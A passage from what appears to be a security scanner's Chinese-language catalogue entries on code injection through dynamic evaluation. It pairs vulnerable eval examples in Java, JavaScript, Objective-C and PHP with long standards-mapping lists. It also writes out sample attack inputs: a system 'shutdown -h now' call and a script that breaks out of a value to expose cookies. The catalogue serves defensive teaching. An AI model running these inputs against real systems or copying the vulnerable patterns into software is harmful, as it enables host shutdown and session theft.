[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将 " java.lang.Runtime.getRuntime().exec("shutdown -h now")" 指定为 operation 的值,则主机系统就会执行关机命令。
References
[1] INJECT-8: Take care interpreting untrusted code Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[14] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[15] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[17] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[19] Standards Mapping - OWASP Top 10 2010 A1 Injection
[20] Standards Mapping - OWASP Top 10 2013 A1 Injection
[21] Standards Mapping - OWASP Top 10 2017 A1 Injection
[22] Standards Mapping - OWASP Top 10 2021 A03 Injection
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[36] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[37] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
userOp = form.operation.value;
calcResult = eval(userOp);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,calcResult 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 JavaScript,攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.javascript.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:以下代码使用 UITextField 的输入,以动态更改 WKWebView 中内容的背景颜色:


...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...


当 UITextField 输入是良性值(如“blue”)时,程序可以正常运行,在这种情况下,webView 中的 <body> 元素会设置为蓝色背景样式。然而,如果攻击者提供仍然有效的恶意输入,则也许能够执行任意 JavaScript 代码。例如,因为 JavaScript 可以访问特定类型的私人信息(如 cookies),所以如果攻击者指定 “white";document.body.innerHTML=document.cookie;”作为 UITextField 的输入,cookie 信息将会以可视方式写入页面中。当底层语言提供了对系统资源的访问或允许执行系统命令时,此类攻击甚至更危险,因为在这些情况下,将在对主进程具有完全权限的情况下执行注入的代码。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.dynamic_code_evaluation_code_injection
Abstract
在运行时中解析用户控制的指令,会让攻击者有机会执行恶意代码。
Explanation
许多现代编程语言都允许动态解析源代码指令。这使得程序员可以执行基于用户输入的动态指令。当程序员错误地认为由用户直接提供的指令仅会执行一些无害的操作时(如对当前的用户对象进行简单的计算或修改用户的状态),就会出现 code injection 漏洞:然而,若不经过适当的验证,用户指定的操作可能并不是程序员最初所期望的。

示例 1:在这一典型的代码注入示例中,应用程序实施的基本计算器允许用户指定要执行的命令。


...
$userOps = $_GET['operation'];
$result = eval($userOps);
...


如果 operation 参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,result 变量被赋予的值将为 22。然而,如果攻击者指定的语言操作是有效的,又是恶意的,那么,将在对主进程具有完全权限的情况下执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,如果攻击者计划将“exec('shutdown -h now')”指定为 operation 的值,主机系统就会执行关机命令。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
